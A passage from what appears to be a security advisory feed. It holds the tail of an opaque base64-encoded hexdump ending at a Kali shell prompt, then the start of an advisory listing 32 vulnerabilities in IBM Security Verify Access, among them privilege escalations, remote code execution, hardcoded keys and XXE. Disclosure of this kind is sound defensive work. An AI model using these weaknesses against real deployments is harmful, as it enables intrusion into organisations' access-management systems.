NTYgIHwuRz4uLi4uLmAsLi5BLi5WfAowMDAwMTJiMCAgMTQgMzAgODcgMTAgMmIgZWMgNjIgMDEg
IDEyIDRkIGNlIDQ3IGUzIGFjIGE5IDlmICB8LjAuLisuYi4uTS5HLi4uLnwKMDAwMDEyYzAgIDE3
IDAzIDhiIDRhIGFjIGM3IDY4IGJlICAyMiA2OCA0OCBjMyBlOCAyYyBlYiA5YSAgfC4uLkouLmgu
ImhILi4sLi58CjAwMDAxMmQwICA3ZCA3ZCA3NCBmZCBkMiBlNyA1NiA3ZSAgMWEgZDkgZDMgMjIg
M2IgM2YgMzAgZjQgIHx9fXQuLi5Wfi4uLiI7PzAufAowMDAwMTJlMCAgZmYgNDIgYTMgMzEgNjIg
YzAgYWIgOTUgIDZhIDBjIGE2IGZiIDE2IDhjIDJkIDRkICB8LkIuMWIuLi5qLi4uLi4tTXwKMDAw
MDEyZjAgIDU4IDNhIGMxIDc0IDlmIDM1IGM4IDY1ICAyYyBkOSA0YSA0ZCA5NCBmNCBjMiBhYiAg
fFg6LnQuNS5lLC5KTS4uLi58CjAwMDAxMzAwICAwNCA5ZSBhNyAyOSAyYiA1NiAxNiA2NyAgZTcg
M2YgZWUgMTQgYzMgNGIgZGEgYmMgIHwuLi4pK1YuZy4/Li4uSy4ufAowMDAwMTMxMCAgMTAgMDcg
ZTUgZmQgNDcgZWMgNTUgMTEgIGI1IDZhIDA2IGRiIDhhIGM4IDhhIDg3ICB8Li4uLkcuVS4uai4u
Li4uLnwKMDAwMDEzMjAgIGQ1IGQ2IGE1IGFlIDBkIGRmIGQxIDRmICBmNiBkMCA1NyBmMSAxZSBl
NSA2MSBhZCAgfC4uLi4uLi5PLi5XLi4uYS58CjAwMDAxMzMwICAxNSAzMCBhYyBjOCBhYiBhNyA4
YyBkZiAgN2EgNDUgNTQgZTIgZjkgNWEgNzYgNjcgIHwuMC4uLi4uLnpFVC4uWnZnfAowMDAwMTM0
MCAgYjkgYjMgOGMgN2IgMmQgMmMgMDEgYjcgIGFiIGE1IDU3IGQ1IDhmIGVlIGUwIDI5ICB8Li4u
ey0sLi4uLlcuLi4uKXwKMDAwMDEzNTAgIDU0IDA5IGY2IGNiIDZjIDgzIGVjIDllICA4NCBiNiA2
NyBhMiBkZiAxNyA2NCAyMiAgfFQuLi5sLi4uLi5nLi4uZCJ8CjAwMDAxMzYwICBlYyBhMiA0YSA1
ZSBlNiBiNyA2OCBjMCAgMTIgYjkgYTAgZTcgNjggZDIgNDUgYzggIHwuLkpeLi5oLi4uLi5oLkUu
fAowMDAwMTM3MCAgZDIgNDMgYzggNTggYmMgNDkgYTIgODggIDAzIGIwIGZmIGMyIDcyIDM2IDdh
IDBmICB8LkMuWC5JLi4uLi4ucjZ6LnwKMDAwMDEzODAgIDhlIGQ0IDliIDZjIGExIDE3IDdhIDdi
ICBlNCA0YSBkOSBkNCA5OSAyMCAyMiBmMSAgfC4uLmwuLnp7LkouLi4gIi58CjAwMDAxMzkwICAw
MiBiNyBkOSBhNCAyYiAxYiBlMCA0MCAgZTMgMzMgMjEgZGMgYmMgOWUgNmUgNzkgIHwuLi4uKy4u
QC4zIS4uLm55fAowMDAwMTNhMCAgNzggODkgOWMgYjMgNzQgZDIgZTEgZDggIDQ4IDMwIGIwIDVk
IDRhIGEzIDg5IGY3ICB8eC4uLnQuLi5IMC5dSi4uLnwKMDAwMDEzYjAgIDA1IDgwIDQyIDkyIDgy
IDRmIDdhIGFlICAxZCA0ZCA1OCBjNSA1MyAyNCAxNSA2NCAgfC4uQi4uT3ouLk1YLlMkLmR8CjAw
MDAxM2MwICBlYyBlYSA4MSBmNCAwZSBjZSA1OCA0NCAgODggZGYgYzMgZTUgMzMgYTggYmYgZDMg
IHwuLi4uLi5YRC4uLi4zLi4ufAowMDAwMTNkMCAgZjAgNmQgMDkgOGUgNTUgMDkgYTIgOWIgIDkw
IGYxIGE5IGQxIGYwIGU5IDk3IDg4ICB8Lm0uLlUuLi4uLi4uLi4uLnwKMDAwMDEzZTAgIDZjIGZk
IDY5IGVjIGNhIDM2IGIyIGY4ICA4NSBiMCBkZiBkYyA2NyA5YSAwOSAxOSAgfGwuaS4uNi4uLi4u
LmcuLi58CjAwMDAxM2YwICA5ZiBjMyA5NCA3OCA0ZCAyZCBmOCBhYiAgOTIgOWYgNWQgYzMgNDYg
ZDcgZWUgMGEgIHwuLi54TS0uLi4uXS5GLi4ufAowMDAwMTQwMCAgZmUgYzYgMTIgZmUgYTMgMmEg
MDAgNzUgIDI0IGJjIGRlIDJlIDM3IGY5IDg5IGIxICB8Li4uLi4qLnUkLi4uNy4uLnwKMDAwMDE0
MTAgIDg1IDhlIGZmIDRlIGU0IDA1IDI2IGY5ICBkOSBjOCBhZSA1MCAwMCBhMiAzNCAxZCAgfC4u
Lk4uLiYuLi4uUC4uNC58CjAwMDAxNDIwICA0ZCA0MCA1YyA2ZSBiNiA2ZiAxNiA3ZiAgM2MgODYg
YWIgYjEgMjUgMGYgZTAgOGIgIHxNQFxuLm8uLjwuLi4lLi4ufAowMDAwMTQzMCAgYTkgNWQgODQg
YzYgNGIgMTEgNzEgYjIgIDdiIDUwIDZmIGE5IGY1IDYxIDY5IGI3ICB8Ll0uLksucS57UG8uLmFp
LnwKMDAwMDE0NDAgIDc2IGFhIGY0IGU4IDU2IDBlIDRmIGI1ICAzZSAyNyA0NSA3OCAwNCA5YSAy
ZiAzMSAgfHYuLi5WLk8uPidFeC4uLzF8CjAwMDAxNDUwICBhNyA0NCBiNiBiNCBmMCBjNiA0YSBj
NiAgMGIgYjEgN2EgYWIgYjIgZTcgYTMgMjggIHwuRC4uLi5KLi4uei4uLi4ofAowMDAwMTQ2MCAg
ODQgZmQgMTYgMjAgNmQgMDcgMjkgMDMgIGY5IGE0IGY1IGIyIDQ1IGU0IDY0IDMxICB8Li4uIG0u
KS4uLi4uRS5kMXwKMDAwMDE0NzAgIGZjIGE0IDI3IDU1IGJhIDhlIGE0IDE4ICA5YiAzNiBiMCAz
NyA0NyA1NCBiNSBlZSAgfC4uJ1UuLi4uLjYuN0dULi58CjAwMDAxNDgwICBiYyA5NCA3NiAzOSBh
MCAxNiBjZiA1ZiAgNzMgYjcgZmUgYWQgY2IgZjIgMjIgNmEgIHwuLnY5Li4uX3MuLi4uLiJqfAow
MDAwMTQ5MCAgY2IgYmMgYjYgM2EgNmUgNzYgM2MgOWEgIGZjIDM4IGQ0IDgyIGVmIDM1IDZjIDE4
ICB8Li4uOm52PC4uOC4uLjVsLnwKMDAwMDE0YTAgIGUxIGI3IGI3IGI5IDFhIGFlIDk1IGM3ICA0
MiAyZCAzMyA4MiA5ZSA0YSA2OCBhYSAgfC4uLi4uLi4uQi0zLi5KaC58CjAwMDAxNGIwICAzZCA0
MCA5MCBkYiBjNSAyNCBmNCA4YyAgOTMgYmMgZjkgNWEgY2IgYjYgM2IgYjEgIHw9QC4uLiQuLi4u
LlouLjsufAowMDAwMTRjMCAgM2EgMDMgYjggODEgZmIgZGMgMmUgNzkgIDE2IDhhIDI5IGM2IDQx
IDA4IGMzIGQyICB8Oi4uLi4uLnkuLikuQS4uLnwKMDAwMDE0ZDAgIGUzIGNhIGMwIGVmIDk2IDI5
IDM2IGM4ICA0ZiBjYyAxZiA0ZCA1ZCBlOSAwZiBiOCAgfC4uLi4uKTYuTy4uTV0uLi58CjAwMDAx
NGUwICAyMyA3MCA3MyA3ZCA5MCA3NSA0NCA0YSAgNzEgNGYgN2MgZTMgZDMgZGQgNDUgZmEgIHwj
cHN9LnVESnFPfC4uLkUufAowMDAwMTRmMCAgZTIgZDggZGUgMDUgYzEgMmIgZmUgZWEgIDVhIDE1
IGEwIDRhIDk3IDlmIGI2IDZkICB8Li4uLi4rLi5aLi5KLi4ubXwKMDAwMDE1MDAgIDdkIDEzIDZi
IDA5IDc4IDY5IGU5IDNlICAzNCBhZCA1ZiBmMSA4MiAyNCBkMyBmNiAgfH0uay54aS4+NC5fLi4k
Li58CjAwMDAxNTEwICAzMSBiYyBjNyBhYyAzNiBmOCA2YSBiMyAgY2EgMTUgODkgMjAgYWEgNDAg
ODUgMWQgIHwxLi4uNi5qLi4uLiAuQC4ufAowMDAwMTUyMCAgMzYgNGEgNzUgNmQgMTcgMTcgNzYg
NzIgIDAyIGJjIDgyIGFlIDA2IDQ2IGU2IDQzICB8Nkp1bS4udnIuLi4uLkYuQ3wKMDAwMDE1MzAg
IDVhIGExIGE4IGNkIDdkIDdlIDQzIGQ4ICAzZiBiYyAyYSAyZiAyZSBjZCA5YiBiMSAgfFouLi59
fkMuPy4qLy4uLi58CjAwMDAxNTQwICA3NCAzYSBiZCAzZiBkYiA0MiA2ZCA2ZSAgNzIgNTQgMmQg
YmEgM2MgMDAgMGUgMjMgIHx0Oi4/LkJtbnJULS48Li4jfAowMDAwMTU1MCAgODYgYTAgNmQgYjcg
ZmIgZmMgM2IgMDMgIDdhIDEyIGYzIDFlIGViIDM3IDQyIDMyICB8Li5tLi4uOy56Li4uLjdCMnwK
MDAwMDE1NjAgIGZmIDVkIDg4IDg2IDlhIDljIGU1IDI4ICA4NiAwYiAwMiBhMyA2ZiBlMyAwMyA5
OSAgfC5dLi4uLi4oLi4uLm8uLi58CjAwMDAxNTcwICAzYyAyOSA4ZCA5MCA0MSBlOSA2MiA0YiAg
MTYgNWEgMDAgNTQgZTMgMjMgMjIgZjMgIHw8KS4uQS5iSy5aLlQuIyIufAowMDAwMTU4MCAgYzAg
MTUgNTEgYzUgNWIgYWMgYTkgYTUgIGU4IDU3IGJjIDFiIGRhIDVmIDhlIDNiICB8Li5RLlsuLi4u
Vy4uLl8uO3wKMDAwMDE1OTAgIGVmIDExIDZlIDY1IDE3IDk1IDEzIDk4ICA2YiA3MiBjMCBjMCA1
OSBhYiAyYSBjNCAgfC4ubmUuLi4ua3IuLlkuKi58CjAwMDAxNWEwICBhMSBjOSA5MCA3ZSAyZCBk
MiA0OSA3NyAgYmQgY2UgYWUgMmUgZDEgODEgMDcgNzIgIHwuLi5+LS5Jdy4uLi4uLi5yfAowMDAw
MTViMCAgNzcgODYgZDQgZDUgODQgNjcgYzIgOTQgIGI3IDI5IGFlIDYyIDA2IDMzIGFiIDFmICB8
dy4uLi5nLi4uKS5iLjMuLnwKMDAwMDE1YzAgIDhmIDhhIDlmIDNjIDg1IDczIGY5IGNkICBlMiBh
MiAyNiA3NyAzYSA0ZiBhMSAxYiAgfC4uLjwucy4uLi4mdzpPLi58CjAwMDAxNWQwICBkMSBlOCAz
ZSA0OSA2ZCAyMCAyYyBlYyAgMGQgYWEgNzEgZmEgZjAgN2IgZmEgNGUgIHwuLj5JbSAsLi4ucS4u
ey5OfAowMDAwMTVlMCAgNGEgMjUgZjUgYjcgOGYgMTMgZTEgNWUgIGU4IGM1IDQyIGJlIGI3IDAy
IDEzIGQ2ICB8SiUuLi4uLl4uLkIuLi4uLnwKMDAwMDE1ZjAgIDczIGZlIDdkIDUyIGMxIDUxIDFi
IGM0ICA3YiA2ZCBiMiA0NCA3MCBjNiA3ZSA3NSAgfHMufVIuUS4ue20uRHAufnV8CjAwMDAxNjAw
ICA1NCA1YiA1NiA1ZiA0YiBmMyAzYiAwNyAgODcgYjAgNzIgZGUgOTQgY2QgYzkgNmMgIHxUW1Zf
Sy47Li4uci4uLi5sfAowMDAwMTYxMCAgNjkgN2EgN2EgZGQgOWQgZGEgNjcgMmIgIDk3IDcxIDQz
IDFjIDgwIGRiIGU1IDVhICB8aXp6Li4uZysucUMuLi4uWnwKMDAwMDE2MjAgIDU2IDFiIGRlIDZl
IDhlIDBhIDg4IDRjICBjZSAyYSBhMSA4NyA5NCBlZiA0NiA4YyAgfFYuLm4uLi5MLiouLi4uRi58
CjAwMDAxNjMwICAyZiBhOSAxOCBiOSBiNyAyNiA3MCAzZSAgZTAgZDUgNDYgZjEgODMgNjUgMzcg
NDkgIHwvLi4uLiZwPi4uRi4uZTdJfAowMDAwMTY0MCAgNWEgYTYgYTQgODUgZjEgYTQgNWMgNzYg
IDM4IDQxIGFkIDJiIGNkIDYyIGU5IDUxICB8Wi4uLi4uXHY4QS4rLmIuUXwKMDAwMDE2NTAgIDk0
IDYwIGYxIGJlIDg0IGY0IDgyIDMyICAzZCA5ZCBmMyA0MyAwNSAyMyBhYyBiMSAgfC5gLi4uLi4y
PS4uQy4jLi58CjAwMDAxNjYwICBjOCA1OSA2NCBkOCA5OSA1NyA4YiAzZSAgODEgNTUgY2MgNjIg
OTIgNTAgODkgNGYgIHwuWWQuLlcuPi5VLmIuUC5PfAowMDAwMTY3MCAgOTcgNDEgYmEgY2IgMTAg
ZjYgNWMgNDQgIGI5IGI4IGM3IDNmIGFiIDkwIDNmIDhjICB8LkEuLi4uXEQuLi4/Li4/LnwKMDAw
MDE2ODAgIDVlIDcxIGMzIDdhIDgzIGJhIGQ0IDc2ICBhZSA2MiA3YyAzNyBlNyAxNyA3MyBjOSAg
fF5xLnouLi52LmJ8Ny4ucy58CjAwMDAxNjkwICBlYyAyNCAxZCA5MSA0YiAzYSBjMiAzMiAgZjIg
YjUgZjEgMjAgNGEgOTUgYWUgNTIgIHwuJC4uSzouMi4uLiBKLi5SfAowMDAwMTZhMCAgMjMgMTEg
OTAgNTcgNGIgMDggNWQgYWQgIGFlIGFkIDBhIGQ5IDk4IDU0IGUxIGVjICB8Iy4uV0suXS4uLi4u
LlQuLnwKMDAwMDE2YjAgIDlhIGM5IGRjIDk5IGM4IDhlIDY5IGVlICA3NiBlMyA1YiBjNSBmOSBh
OCA3OCA0NSAgfC4uLi4uLmkudi5bLi4ueEV8CjAwMDAxNmMwICA0OSA5NCA2MSBiNyBjYSBiOCA5
ZCA2ZiAgNGIgODMgNmIgMDIgY2EgZTkgOWIgZjAgIHxJLmEuLi4ub0suay4uLi4ufAowMDAwMTZk
MCAgZGUgNDkgZDEgODcgZjkgZmEgYWEgMTQgIDkzIDczIGViIDNjIDA2IDZjIDAzIGYzICB8Lkku
Li4uLi4ucy48LmwuLnwKMDAwMDE2ZTAgIGE5IDliIGY4IDQ3IGIzIDY2IGIxIGJiICA5MSA3MyAw
NCA4MCBjYyBiMiBmNyA3YyAgfC4uLkcuZi4uLnMuLi4uLnx8CjAwMDAxNmYwICBiNSAyZCBkMyAx
YSBkYiBmMSA3YiBlYyAgOWUgMTUgMGIgOWMgZjEgODIgNWMgZjQgIHwuLS4uLi57Li4uLi4uLlwu
fAowMDAwMTcwMCAgYjIgZTEgMzkgY2EgYWEgZmIgYTkgNjMgIDhkIGNkIDlkIDYxIDE5IGFmIDM2
IGMwICB8Li45Li4uLmMuLi5hLi42LnwKMDAwMDE3MTAgIDRjIGM5IDc5IGM1IDYzIGQ4IDM3IDMx
ICBkNSA4OSBhOCA4NyBiMCA4NCA1NSAxOSAgfEwueS5jLjcxLi4uLi4uVS58CjAwMDAxNzIwICAy
NCAxYyBlYSBhYiA3ZSAwZiA4MSAxMSAgNGQgNDMgNjIgZmMgOWIgNjEgMWUgYzggIHwkLi4ufi4u
Lk1DYi4uYS4ufAowMDAwMTczMCAgMjQgNGQgNDIgNDcgNjEgNGQgMWMgOTIgIDdjIGRjIGI5IGQ4
IDZiIDM3IDUyIGUzICB8JE1CR2FNLi58Li4uazdSLnwKMDAwMDE3NDAgIGUyIDM3IDljIGY2IGM0
IGM2IGNkIGIwICBiYiBhMyA3YSBhZCAwMiAzMiBmMSBhOCAgfC43Li4uLi4uLi56Li4yLi58CjAw
MDAxNzUwICAwMiAwNCAyNyA5NiBkMiA3NSA3NyBiZCAgZWYgM2QgYTkgYTkgYjAgZjMgYjkgYWYg
IHwuLicuLnV3Li49Li4uLi4ufAowMDAwMTc2MCAgYjkgMDQgM2UgZmMgMjkgYzYgNzggYTEgIDgx
IDU0IDI2IDQ3IDIxIDRiIDA2IDc1ICB8Li4+LikueC4uVCZHIUsudXwKMDAwMDE3NzAgIGUyIGMz
IDQ2IGExIGJiIDRhIGY3IDBiICBkZiBlMyBkYSBlYyAyNiAxOSBmNyBlYiAgfC4uRi4uSi4uLi4u
LiYuLi58CjAwMDAxNzgwICBiMCAwMyA4MiA0YSBiNCA1NiA1MSBiMiAgMWUgYjEgMmMgOGUgOGYg
N2QgMzAgMmUgIHwuLi5KLlZRLi4uLC4ufTAufAowMDAwMTc5MCAgOTggM2MgZDkgNWYgYTQgZTcg
YTYgYzkgIGIwIDUxIDZkIDhjIDRhIDhkIDFkIGE3ICB8LjwuXy4uLi4uUW0uSi4uLnwKMDAwMDE3
YTAgIDgwIDk4IDNmIDgyIDcxIDM0IDZhIDU3ICA2YiAxOCA4NSA4YyA2ZCBmYSA4ZSBkZSAgfC4u
Py5xNGpXay4uLm0uLi58CjAwMDAxN2IwICBlMCA2MCA3MCBkNiAxMCA2OCAxOSAzZSAgYjUgMDYg
NTAgNzcgYjcgMDcgOTcgOWMgIHwuYHAuLmguPi4uUHcuLi4ufAowMDAwMTdjMCAgODIgYTMgMTkg
NDggZGUgYTggMTYgYmMgIGQ0IGJmIDQwIGZiIDE3IGFkIDFkIDZlICB8Li4uSC4uLi4uLkAuLi4u
bnwKMDAwMDE3ZDAgIDRhIGU4IDNkIDhkIDVjIGRiIDFlIDg5ICBkMSBiMCA4NiBiNSAyNyBkZiA2
ZSAwZSAgfEouPS5cLi4uLi4uLicubi58CjAwMDAxN2UwICA5YiAxMCA0ZSA4NyBjMiA1ZiBlYyBk
NCAgN2IgNDUgMzIgZmUgZTggN2IgMmIgNTMgIHwuLk4uLl8uLntFMi4ueytTfAowMDAwMTdmMCAg
OGQgM2YgOWMgMjYgYmUgOGUgNDkgNGUgIDZjIDk4IGVkIGQ0IDJmIDIzIGRkIGM1ICB8Lj8uJi4u
SU5sLi4uLyMuLnwKMDAwMDE4MDAgIDg0IGVkIDI5IDM1IGJiIDU2IDcwIGJjICA4NyBiMCBjOCA4
OCA4MiA0YSA1NyA3MSAgfC4uKTUuVnAuLi4uLi5KV3F8CjAwMDAxODEwICBhMyA1YyA5MSBjNSBi
ZCBhZiA5MSBiZSAgODcgMzcgMGIgMTIgZWYgNjQgOTYgYmQgIHwuXC4uLi4uLi43Li4uZC4ufAow
MDAwMTgyMCAgZDkgMDIgYTAgNDcgOGIgM2YgZjUgMTQgIDRkIGRkIGE4IDk5IDkyIDhjIGU1IGI2
ICB8Li4uRy4/Li5NLi4uLi4uLnwKMDAwMDE4MzAgIDY1IGFkIGVlIGFjIDY4IGQ5IDJkIDNmICAw
ZCAzNSA4MSBhYyBiZiBiNyBlOSA5NCAgfGUuLi5oLi0/LjUuLi4uLi58CjAwMDAxODQwICAwNyA4
NiBkOSA1NSAwNyA4ZiA4YyBiZSAgYTAgMTMgN2MgYjMgYTUgNmUgYTMgYmMgIHwuLi5VLi4uLi4u
fC4ubi4ufAowMDAwMTg1MCAgODggZTggNWEgOGIgOTAgZDYgOTkgYzkgIDY1IDJhIDVkIDJlIGNh
IDc5IDE5IGZiICB8Li5aLi4uLi5lKl0uLnkuLnwKMDAwMDE4NjAgIDVmIDE3IDhiIDAwIDZjIGI2
IDJiIGFmICA2OSA1ZSA3MiBkNCBkNSA5NCA2NyAwYiAgfF8uLi5sLisuaV5yLi4uZy58CjAwMDAx
ODcwICA4MSBiNyA1OCAyYyAwMCAyMyA2ZiA4OCAgZDcgMjIgMzMgMWYgYWMgNDMgOGMgZDIgIHwu
LlgsLiNvLi4iMy4uQy4ufAowMDAwMTg4MCAgMDYgYzcgYzkgZjQgZGUgMGMgYmIgMzQgIGUxIDM1
IGY2IDEwIDVhIDg0IDNmIGM2ICB8Li4uLi4uLjQuNS4uWi4/LnwKMDAwMDE4OTAgIDMzIGQ5IDlh
IDE3IDY0IGFmIGQ2IGVkICBhNSA5YiA5NiA4YiAyYSA0MyBjYyA5NCAgfDMuLi5kLi4uLi4uLipD
Li58CjAwMDAxOGEwICA0MSAzMiBiOCAxNiBkNyA0MCA4ZiBkMSAgOGIgYjEgNmUgNDggNWYgY2Ig
ZjIgNzEgIHxBMi4uLkAuLi4ubkhfLi5xfAowMDAwMThiMCAgYWIgYzMgNWEgMzQgNzAgYmQgNjkg
YTAgIDYyIGRjIDE0IDA0IDkxIGE0IDgxIDI5ICB8Li5aNHAuaS5iLi4uLi4uKXwKMDAwMDE4YzAg
IDUyIGExIGQwIDEwIGQ2IGRjIDY2IGI0ICA4YSAzYSAxMiBmNiBiMyBhMyBhMiAzNyAgfFIuLi4u
LmYuLjouLi4uLjd8CjAwMDAxOGQwICA1ZSA4MyA3ZCAwZSA2NyA3NSBhOCBiMCAgY2EgYmEgNDQg
NWUgZGYgZTIgN2YgMzggIHxeLn0uZ3UuLi4uRF4uLi44fAowMDAwMThlMCAgNTggNzkgNzkgMGEg
MDAgODggNTAgYjkgIDc4IDZjIDc0IDFkIGYyIDE1IDUwIDQ4ICB8WHl5Li4uUC54bHQuLi5QSHwK
MDAwMDE4ZjAgIDJiIDYyIDc0IGFiIDJmIGU4IGJhIDlhICAzOCAxOCA0OCBjMyBmMiAxYSAwZiBh
MyAgfCtidC4vLi4uOC5ILi4uLi58CjAwMDAxOTAwICBjZiAxZSBiMyA0NiAzOCA4YiAxOSBkMyAg
MGUgN2UgN2IgYjAgMzkgOTggYjEgYTkgIHwuLi5GOC4uLi5+ey45Li4ufAowMDAwMTkxMCAgNDEg
MTkgMzYgZDQgYzAgNjIgYzMgOGQgIGE1IGI4IGIxIDg1IGNjIGQ4IDA1IGNhICB8QS42Li5iLi4u
Li4uLi4uLnwKMDAwMDE5MjAgIDJhIDQxIGVmIGM1IDU5IGIxIDgxIDZhICBlZiBkYyA5MyAxMiBk
YyA1ZSA2MiBiMyAgfCpBLi5ZLi5qLi4uLi5eYi58CjAwMDAxOTMwICA3ZCA2YiA1YyBmYyAyNiBk
NiBmMiBlYSAgZGIgM2UgMmQgZjcgMWYgN2UgMTkgZGUgIHx9a1wuJi4uLi4+LS4ufi4ufAowMDAw
MTk0MCAgOTMgNmEgNGQgNGIgMDEgMzIgZDEgNTkgIGJmIDkyIDJmIDA4IDM5IGEzIGVlIDIwICB8
LmpNSy4yLlkuLi8uOS4uIHwKMDAwMDE5NTAgIGQxIGVlIDA3IDFhIDE1IGQ4IGZjIDFiICBmYSBk
MiA5MSA4MCAzNSAzZiBiNyA1OCAgfC4uLi4uLi4uLi4uLjU/Llh8CjAwMDAxOTYwICA5MyBmYSAy
OCBhZSA3MiAyYyAzOSBmOSAgZjkgNjIgZjQgNTYgN2IgYjYgOWYgMDcgIHwuLiguciw5Li5iLlZ7
Li4ufAowMDAwMTk3MCAgNWYgYTggNGEgMjUgY2QgMGIgYmEgZjAgIDY4IDM4IDUxIGI5IDJhIDNh
IDc1IDcwICB8Xy5KJS4uLi5oOFEuKjp1cHwKMDAwMDE5ODAgIGU0IDFlIGNhIGVmIDJlIDExIDVk
IDkyICBlYiBmMyA3OCBmMSAzZSA0NyBiZiAwNCAgfC4uLi4uLl0uLi54Lj5HLi58CjAwMDAxOTkw
ICA1ZCA4ZiA5ZSA1ZCBiNSAzMCBkZCA5YSAgZDYgYjQgMzIgOWIgNzMgYzMgZjEgMWIgIHxdLi5d
LjAuLi4uMi5zLi4ufAowMDAwMTlhMCAgOWMgZGMgYzggYTYgZWIgM2EgMjcgNDAgIDYzIDFhIGI0
IDYzIDAzIDc5IDU1IDJhICB8Li4uLi46J0BjLi5jLnlVKnwKMDAwMDE5YjAgIDU2IGIxIDBmIDFi
IGMwIDU0IDRiIGNhICBiYiA3YSBjYyBlOCA3YSA2ZSA2YSBiYyAgfFYuLi4uVEsuLnouLnpuai58
CjAwMDAxOWMwICBiZCAxNSA5YyBlOCAyYyA3YyBkYiBhNiAgZTEgYzAgZTAgMTUgN2UgODggMTIg
MzcgIHwuLi4uLHwuLi4uLi5+Li43fAowMDAwMTlkMCAgMzcgNWYgNmIgYjEgYmYgZGMgMmUgMjgg
IDJjIDUwIDZiIDQ1IGFmIDZmIGE0IDYwICB8N19rLi4uLigsUGtFLm8uYHwKMDAwMDE5ZTAgIDY1
IGUwIDVmIGQ0IDdkIDFlIDQ0IDFhICA2MSA3YyBkZCBhMSBmMiA3MyA2ZSA5YiAgfGU=
kali-wan-server%
</code></pre>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>32 vulnerabilities in IBM Security Verify Access</title>
        <link href="2024-11-01-ibm-security-verify-access-32-vulnerabilities.html"/>
        <content type="html"><h2>Product description</h2>
<blockquote>
<p>IBM Security Verify Access is a complete authorization and network security policy management solution. It provides end-to-end protection of resources over geographically dispersed intranets and extranets.
In addition to state-of-the-art security policy management, IBM Security Verify Access provides authentication, authorization, data security, and centralized resource management capabilities.</p>
<p>IBM Security Verify Access offers the following features:</p>
<ul>
<li>Authentication</li>
</ul>
<p>Provides a wide range of built-in authenticators and supports external authenticators.</p>
<ul>
<li>Authorization</li>
</ul>
<p>Provides permit and deny decisions for protected resources requests in the secure domain through the authorization API.</p>
<ul>
<li>Data security and centralized resource management</li>
</ul>
<p>Manages secure access to private internal network-based resources by using the public Internet's broad connectivity and ease of use with a corporate firewall system.</p>
<p>From <a href="https://www.ibm.com/docs/en/sva/10.0.8?topic=overview-introduction-security-verify-access">https://www.ibm.com/docs/en/sva/10.0.8?topic=overview-introduction-security-verify-access</a></p>
</blockquote>
<h2>Vulnerability Summary</h2>
<p>Vulnerable versions: IBM Security Verify Access &lt; 10.0.8.</p>
<p>The summary of the vulnerabilities is as follows:</p>
<ol>
<li><a href="#auth-bypass-runtime">non-assigned CVE vulnerability - Authentication Bypass on IBM Security Verify Runtime</a></li>
<li><a href="#reuse-snapshot-private-keys">CVE-2024-25027 - Reuse of snapshot private keys</a></li>
<li><a href="#lpe-openldap">CVE-2023-30997 - Local Privilege Escalation using OpenLDAP</a></li>
<li><a href="#lpe-rpm">CVE-2023-30998 - Local Privilege Escalation using rpm</a></li>
<li><a href="#lpes">CVE-2023-38267, CVE-2024-35141, CVE-2024-35142 - Insecure setuid binaries and multiple Local Privilege Escalation in IBM codes</a><br>
5.1. <a href="#lpe-mesa_config-snapshot">CVE-2023-38267 - Local Privilege Escalation using mesa_config - import of a new snapshot</a><br>
5.2. <a href="#lpe-mesa_config-cmd-injection">CVE-2024-35141 - Local Privilege Escalation using mesa_config - command injections</a><br>
5.3. <a href="#lpe-mesa_cli-snapshot">CVE-2023-38267 - Local Privilege Escalation using mesa_cli - import of a new snapshot</a><br>
5.4. <a href="#lpe-mesa_cli-telnet">CVE-2024-35142 - Local Privilege Escalation using mesa_cli - telnet escape shell</a></li>
<li><a href="#outdated-openssl">CVE-2022-2068 - Outdated OpenSSL</a></li>
<li><a href="#permitrootlogin">CVE-2023-43017 - PermitRootLogin set to yes</a></li>
<li><a href="#cluster-no-password">CVE-2024-35137 and CVE-2024-35139 - Lack of password for the <code>cluster</code> user</a></li>
<li><a href="#644-passwd-files">CVE-2023-38368 - Non-standard way of storing hashes and world-readable files containing hashes</a></li>
<li><a href="#hardcoded-pkcs12">CVE-2023-38369 - Hardcoded PKCS#12 files</a></li>
<li><a href="#leak-keys-1">CVE-2023-31001 - Incorrect permissions in verify-access-dsc (race condition and leak of private key)</a></li>
<li><a href="#leak-keys-2">non-assigned CVE vulnerability - Insecure health_check.sh script in verify-access (race condition and leak of private key)</a></li>
<li><a href="#lpe-script-1">CVE-2024-35140 - Local Privilege Escalation due to insecure health_check.sh script in verify-access (insecure SSL, insecure files)</a></li>
<li><a href="#lpe-script-2">CVE-2024-35140 (duplicate?) - Local Privilege Escalation due to insecure health_check.sh script in verify-access-dsc (insecure SSL, insecure file)</a></li>
<li><a href="#rce-1">CVE-2023-31004 - Remote Code Execution due to insecure download of snapshot in verify-access-dsc, verify-access-runtime and verify-access-wrp</a></li>
<li><a href="#no-auth-postgres">CVE-2023-31005 - Lack of authentication in Postgres inside verify-access-runtime</a></li>
<li><a href="#DoS">CVE-2023-31006 - Null pointer dereference in dscd - Remote DoS against DSC instances</a></li>
<li><a href="#XXE">CVE-2023-32327 - XML External Entity (XXE) in dscd</a></li>
<li><a href="#rce-2">CVE-2023-38370 - Remote Code Execution due to insecure download of rpm and zip files in verify-access-dsc, verify-access-runtime and verify-access-wrp (/usr/sbin/install_isva.sh)</a></li>
<li><a href="#rce-3">non-assigned CVE vulnerability - Remote Code Execution due to insecure download of rpm in verify-access-runtime (/usr/sbin/install_java_liberty.sh)</a></li>
<li><a href="#rce-4">CVE-2023-32328 - Remote Code Execution due to insecure Repository configuration</a></li>
<li><a href="#supply-chain-attack">CVE-2023-32329 - Additional repository configuration (potential supply-chain attack)</a></li>
<li><a href="#rce-5">non-assigned CVE vulnerability - Remote Code Execution due to insecure /usr/sbin/install_system.sh script in verify-access-runtime</a></li>
<li><a href="#rce-6">CVE-2023-32330 - Remote Code Execution due to insecure reload script in verify-access-runtime</a></li>
<li><a href="#rce-7">CVE-2023-32330 (duplicate?) - Remote Code Execution due to insecure reload script in verify-access-wrp</a></li>
<li><a href="#hardcoded-key-ibm-iss">non-assigned CVE vulnerability - Hardcoded private key for IBM ISS (ibmcom/verify-access)</a></li>
<li><a href="#dcatool-outdated-openssl">non-assigned CVE vulnerability - dcatool using an outdated OpenSSL library (ibmcom/verify-access)</a></li>
<li><a href="#iss-lum-outdated-openssl-hardcoded-keys">non-assigned CVE vulnerability - iss-lum using an outdated OpenSSL library (ibmcom/verify-access) and hardcoded keys</a></li>
